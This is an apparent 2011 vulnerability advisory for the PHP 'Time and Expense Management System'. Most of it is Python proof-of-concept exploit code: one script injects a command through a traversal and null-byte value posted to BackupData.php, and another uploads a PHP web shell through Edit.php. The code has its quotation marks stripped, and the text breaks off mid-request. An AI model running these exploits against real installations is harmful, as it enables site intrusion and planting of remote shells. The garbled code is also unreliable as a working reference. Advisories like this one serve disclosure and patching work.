Time and Expense Management System multiple security vulnerabilities and repair

Time and Expense Management System is an ERP System developed using PHP. The Time and Expense Management System has the command injection, file upload, and reflected cross-site scripting vulnerabilities, attackers may intrude the website that has set up the Time and Expense Management System.

[+] Info:
~~~~~~~~~
# Software ...... Time and Expense Management System
# Download... http://sourceforge.net/projects/tems/
# Discovery Date ...... 4/27/2011
# Tested On...
#------------------------------------------------------------------------
# Author ...... AutoSec Tools
# Site ...... http://www.autosectools.com/
# Email ...................... John Leitch john@autosectools.com

[+] Poc:
~~~~~~~~~
Command injection
 

import socket

host = localhost
path = /tems
port = 80

def run_command():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.settimeout(8)

    body = ------x
           Content-Disposition: form-data; name="toFile"
           
           ./a
           ------x
           Content-Disposition: form-data; name="DB_Admin_id"
           
           a
           ------x
           Content-Disposition: form-data; name="DB_Admin_Password"
           
           ../../../../../../../calcx00a
           ------x--
           


    s.send(POST %s/systemadmin/BackupData.php HTTP/1.1
           Host: localhost
           Proxy-Connection: keep-alive
           User-Agent: x
           Content-Length: %d
           Cache-Control: max-age=0
           Origin: null
           Content-Type: multipart/form-data; boundary=----x
           Accept: text/html
           Accept-Language: en-US,en;q=0.8
           Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
           %s % (path, len(body), body))

    print request sent, check for calc using the task manger

run_command()

Arbitrary Upload
 

import socket

host = localhost
path = /tems
shell_path = path + /images/logoshell.php
port = 80

def upload_shell():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.settimeout(8)    

    s.send(POST  + path + /systemadmin/Edit.php HTTP/1.1
           Host: localhost
           Proxy-Connection: keep-alive
           User-Agent: x
           Content-Length: 938
           Cache-Control: max-age=0
           Origin: null
           Content-Type: multipart/form-data; boundary=----x
           Accept: text/html
           Accept-Encoding: gzip,deflate,sdch
           Accept-Language: en-US,en;q=0.8
           Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
           
           ------x
           Content-Disposition: form-data; name="uid"
           
           shell.php
           ------x
           Content-Disposition: form-data; name="name"
           
           shell.php
           ------x
           Content-Disposition: form-data; name="address1"
           
           shell.php
           ------x
           Content-Disposition: form-data; name="city"
           
           shell.php
           ------x
           Content-Disposition: form-data; name="state"
           
           shell.php
           ------x
           Content-Disposition: form-data; name="postalcode"
           
           shell.php
           ------x
           Content-Disposition: form-data; name="country"
           
           shell.php
           ------x
           Content-Disposition: form-data; name="weekendday"
           
           shell.php
           ------x
     &n